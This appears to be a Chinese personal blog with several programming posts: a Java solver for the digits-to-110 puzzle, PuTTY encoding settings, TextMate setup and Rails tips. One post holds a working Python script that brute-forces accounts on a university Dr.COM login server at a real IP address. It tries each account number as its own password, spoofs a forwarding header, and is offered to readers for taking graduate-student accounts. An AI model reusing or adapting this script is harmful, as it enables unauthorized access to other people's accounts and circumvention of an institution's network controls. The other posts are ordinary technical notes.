Trade Off

supercalifragilisticexpialidocious

Code Jam 2012

资格赛已经结束了,还好做出来几个题,现在来看这些题目都不算是特别有难度,最主要的还是在理解题目的要求,这当然对于我们非英语系国家的人来说是有些困难的,可能我们需要多读几遍题目才能开始编码,这确实有些不利,但最主要的还是理解错了题目,这样才可怕。

第二个题我就理解有些问题,考虑得太多了,看优秀选手的代码,才十几行结束,真是羡慕死我了!!!

下一轮比赛可能就要在家做了吧?毕竟到了我跑回家的日子:)

9个数运算结果为110

昨天参加了一个小型编程比赛,有个题目是这样的,有1~9这九个数字,按照顺序排列着,你可以在他们之间加入加号、减号或者什么都不加,组成的算式经过运算后结果为110的输出出来。

看着好简单的题目,当时比赛时候就是一下子没做出来,现在做好了,贴出来,如果有需要可以拿去用哈,代码风格不算好,因为是比赛嘛,又不是商业项目,先快速得到结果再说!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
import java.util.ArrayList;


public class unittest
{
   public static void main(String[] argStrings)
   {
       long start = System.currentTimeMillis();
       ArrayList<String> allopts = new ArrayList<String>();
       int a,b,c,d,e,f,g,h;
       for(a = 0;a < 3;a++)
           for(b = 0;b < 3;b++)
               for(c = 0;c < 3;c++)
                   for(d = 0;d < 3;d++)
                       for(e = 0;e < 3;e++)
                           for(f = 0;f < 3;f++)
                               for(g = 0;g < 3;g++)
                                   for(h = 0;h < 3;h++) {
                                       allopts.add(""+a+b+c+d+e+f+g+h);
                                   }

       for (String string : allopts)
       {
           String base = "1x2x3x4x5x6x7x8x9";
           for (int i = 0; i < string.length(); i++)
           {
               String tmp = getOpt(Integer.parseInt(""+string.charAt(i)));
               base = base.replaceFirst("x", tmp);
           }
           int x = getResult(base, string.replaceAll("2", "").replaceAll("0", "+").replaceAll("1", "-"));//2->null
           if (x == 110)
           {
               System.out.println(base);
           }
       }
       System.out.println("All Run Time: " + (System.currentTimeMillis() - start) + "ms");
   }

   public static String getOpt(int opt) {
       String retString = "";
       switch (opt)
       {
           case 0:
               retString = "+";
               break;
           case 1:
               retString = "-";
               break;
           case 2:
               retString = "";
               break;
           default:
               break;
       }

       return retString;
   }

   public static int getResult(String calculatString, String optString)
   {
       ArrayList<Integer> allNum = new ArrayList<Integer>();
       ArrayList<String> allOpt = new ArrayList<String>();
       for (String string : calculatString.split("[+-]"))
       {
           allNum.add(Integer.parseInt(string));
       }
       for (int i = 0; i < optString.length(); i++)
       {
           allOpt.add(optString.charAt(i) + "");
       }
       int result = allNum.get(0);
       for (int i = 1; i < allNum.size(); i++)
       {
           char x = (i - 1) == allOpt.size()?'+':allOpt.get(i - 1).charAt(0);
           int nextNum = i == allNum.size()?0:allNum.get(i);
           result = getValue(result, nextNum, x);
       }

       return result;

   }

   public static int getValue(Integer num1, Integer num2, char opt)
   {
       int ret = 0;
       switch (opt)
       {
           case '+':
               ret = num1 + num2;
               break;
           case '-':
               ret = num1 - num2;
               break;
           default:
               break;
       }

       return ret;
   }
}

结果是这样的:

1
2
3
4
5
6
7
8
9
10
11
1+2+34+5+67-8+9
1+234-56-78+9
1-2+3+45-6+78-9
12+3+45+67-8-9
12+34+56+7-8+9
12-3+4-5+6+7+89
123+4+5+67-89
123+4-5-6-7-8+9
123-4+5-6-7+8-9
123-4-5+6+7-8-9
All Run Time: 496ms

最后我算了算运行时间,应该这就是很慢的了,幸好只有加减和空,要不然会更麻烦的……

Python猜研究生账号

嗯,为何要猜研究生账号呢?是这样的,我们学校用的drcom控制网络访问,如果你用本科生账号,那么你最快下载速度也就是100kb/s,如果是老师、研究生账号呢,最快7Mb/s,这是什么差距你应该明白吧?!于是写了一个python的脚本来不断猜测研究生账号,但很可惜的是,猜出来的9个账号经过测试都还是有限速效果,真不知道这些账号是不是研究生账号呢?!!!可恶的学校啊!!!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#! /usr/bin python
# encoding: utf-8

import urllib2
import urllib
import sys
import types

guess_list = []
server_url = "http://222.174.155.19/"
headers = {'User-Agent':'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6',
'X-Forwarded-For':'1.1.1.1'}

def usage():
print "USAGE 00: python guess.py FILEPATH of account list file,like: python guess.py ./lists.dat"
print "USAGE 01: python guess.py START END like: python guess.py 2009123456 2009145396"

def Login(username, password):
params = urllib.urlencode({'DDDDD': username, 'upass': password, '0MKKey': "%B5%C7%C2%BC%20Login"})
request = urllib2.Request(url = server_url, data = params, headers = headers)
try:
output = urllib2.urlopen(request, timeout = 3).readlines()
Log(output[5], username, password)
except:
print "timeout!"
global guess_list
guess_list = guess_list[1:]
guess_list.append(username)

def Logout():
output = urllib2.urlopen(server_url + "F.htm")

def Log(output,username, password):
# "msga='error1'" => can not login in web
result = output.find("msga='error1'")
if result != -1:
print "find one!!!"
f = open("./content.dat", 'a')
f.write(str(username) + '\n')
f.close()
else:
print "pass!"
f = open("./bad.dat",'a')
f.write(str(username) + '\n')
f.close()
#drop first element
global guess_list
guess_list = guess_list[1:]

def show_result():
print "Result:##########################################"
print "Have Guessed:"
for i in open("./content.dat").readlines():
print i,
print "some accounts can not guessed are in bad.dat"
print "Result:##########################################"

def get_timeout_list(timeout_file_path):
f = open(timeout_file_path)
global guess_list 
guess_list = f.readlines()
f.close()

if len(sys.argv) == 2:
# itself and only one argv,the path of account list file...
get_timeout_list(sys.argv[1])
elif(len(sys.argv) < 2):
usage()
else:
#start and end account,argv[1] and argv[2]
start = int(sys.argv[1])
end = int(sys.argv[2])
if start > end:
usage()
exit(-1)
else:
guess_list = range(start, end + 1)

if __name__ == "__main__":

while True:
for i in guess_list:
#drop last \n or \r
if type(i) == types.StringType:
i = i.rstrip('\n\r')
Logout()
print "Guess: " + str(i)
Login(i, i)

if len(guess_list) == 0:
break
show_result()

主要就是用了drcom的网页登陆,当然大部分账号都是不能web登陆的啦,不过账号密码正确的话会弹出来一个提示,drcom是使用的js来显示的,于是我监测了是不是有“msga=‘error1'”字符串,当然严格来讲还得监测是不是有"Msg=0"这个字符串才好,我就省略了……

希望被drcom困扰的人们都能拿去用用,希望对你们有帮助!

Putty的中文乱码

着急回家就没带mbp,现在需要修改一下服务器上的文件,于是用了putty这款软件,一定要去官方下载啊,记得前一段时间爆发了在putty中嵌入木马从而盗取了N多服务器的root权限事件。

不过在用的时候发现查看带有中文字符的文件会出现乱码,在这里得到了解决方案:

  1. 打开putty主程序,选择window-〉Appearance-〉Font settings-〉Change…,选择Fixedsys字体,字符集选择CHINESEGB2312。

  2. 在window-〉Appearance -〉Translation中,Received data assumed to be in which character set 中,把Use font encoding改为UTF-8如果经常使用,把这些设置保存在session里面.

  3. 现在打开putty,登录成功后,在shell中输入:export LCALL=’zh_CN.utf8’

然后再打开文件就没问题了。

买了textmate

截至目前,这是我买得最贵的一款软件了——39欧元(327RMB)

一直在豆瓣Textmate小组中等人家团购,自己也从没在官网试过购买,一看是用的paypal做中转,感觉不靠谱,以前也没试过paypal的支付,没想到这次成功了,先用了张信用卡支付,发现不行,结果换普通银行卡,直接跳转到了银联,然后我又用的信用卡透支……

稍微配置了一下textmate,按照这里的方法,其中1.5版本的中文字体那里,建议不要尝试了,不完美,还是等2.0正式发布了吧,听说2.0对于中文字体支持得很好,但我懒得下载测试版来用:)

加入GetBundles:

1
2
3
4
mkdir -p ~/Library/Application\ Support/TextMate/Bundles
cd !$
svn co http://svn.textmate.org/trunk/Review/Bundles/GetBundles.tmbundle/
osascript -e 'tell app "TextMate" to reload bundles'

第一次见cd还能这样用,这样简直太方便了!还有最后那句script,多么优美的句子:)

以后就要多用textmate了,先放弃emacs。

设置Rails中的timezone

Timezone是很关键的东西哦,特别是某些app根据时间来作出不同反映的时候设置好Timezone就是必须的了。

没设置之前,插入到数据库中的时间都是utc时间,晚8小时,修改两处就差不多正常了:)编辑config/application.rb,我用的是Rails3.2.1

1
2
config.active_record.default_timezone = :local
config.time_zone = 'Beijing'

为何我说差不多呢,原因如下:

1
2
3
4
5
6
7
8
irb(main):001:0> Fpwd.store(1)
 Fpwd Load (0.2ms)  SELECT "fpwds".* FROM "fpwds" WHERE "fpwds"."user_id" = 1 LIMIT 1
 SQL (2.7ms)  DELETE FROM "fpwds" WHERE "fpwds"."user_id" = 1
  (0.1ms)  begin transaction
Binary data inserted for `string` type on column `randstring`
 SQL (429.6ms)  INSERT INTO "fpwds" ("created_at", "randstring", "updated_at", "user_id") VALUES (?, ?, ?, ?)  [["created_at", Wed, 15 Feb 2012 14:29:35 CST +08:00], ["randstring", "87e685e0d2ab37143fae248083822ffea600f577"], ["updated_at", Wed, 15 Feb 2012 14:29:35 CST +08:00], ["user_id", 1]]
  (1.4ms)  commit transaction
=<Fpwd user_id: 1, randstring: "87e685e0d2ab37143fae248083822ffea600f577", created_at: "2012-02-15 06:29:35", updated_at: "2012-02-15 06:29:35">

最后的返回值那里还是晚了8小时,我用sqlite3查看的时候时间是正常的,所以这里怀疑是ruby的时间问题了,好在app中已经正常!

分清form_for和form_tag

两个都是做form的指令,form_for是用来和一个model一块用的时候使用,form_tag就是普通的form了,侧重传值什么的。当初用了form_for来做了个登陆界面,怎么都得不到username和password,原来是这样,必须如此引用才可以——params[:user][:username],前面的:user是我给form_for的第一个参数,这个form的所有信息都得加[:user]这样的前缀才能得到了,让我十分痛苦(又加上是个2.14)

使用form_tag后对于它的action不太会控制,所幸不写参数了,正好action指向本地址,省事儿!

感谢这里写的内容

Ruby中的write_attribute

有时候想修改一下自己的setter方法,于是会容易犯这样的一个错误:

1
2
3
4
5
6
def password=(pwd)
   @password = pwd
   return if @password.blank?
   create_new_salt
   self.password = xxx
 end

最后那行使用了self.password= xxx,你有没有注意到我们这个方法就是password=,你在自己调用自己,如果有条件停止的话,那这叫递归,如果没有的话,这就是死循环喽,ruby可能会抛出一个stack too deep的错误(rails至少会这样说),此时需要一个magic!

1
write_attribute(:password, User.encrypted_password(self.password, self.salt))

使用write_attribute(xxx,jjj)即可,意思就是把jjj赋值给xxx了,因为此时正好在定义xxx,所以不能用xxx = 这样的方法赋值。

痛苦的rails

由于rails给我带来的痛苦,让我对ruby这门写着code for fun的语言产生了怀疑,真得有fun么?一开始就没有感觉,现在来看更是如此。

rails是一个正在成长的框架,每一个小版本号的变动都可能会引入和废弃不少特性,而我又傻傻地在使用最新的rails(3.2.1),书上讲的都是rails2.2.2的内容,乍一看变动不应该太大啊,实际上并不是如此!!!

对于一个新手来说,学习一个正在成长的框架是痛苦的:(

蛋疼的No Route Matches “/say/hello”

现在有些后悔买的那本书了,《web开发敏捷之道第三版》,那本书的代码使用的是rails2.2.2,真够2的,现在用的是3.2.1,作者说有不少代码已经更改了,但没想到会差得连我都能看出来,我只是个初学者啊!好在我还能稍稍应付自如,后面可能就会更加累了!

一开始在helloworld部分就遇到一个问题,用rails generate controller say后根本不能自动添加一条routes,找了原作者的wiki更新发现这里已经需要自己修改routes的内容了,不过也好,消去一行注释即可:)

感谢这里

如果还有谁遇到类似不兼容问题,请看作者的wiki更新吧,希望有帮助!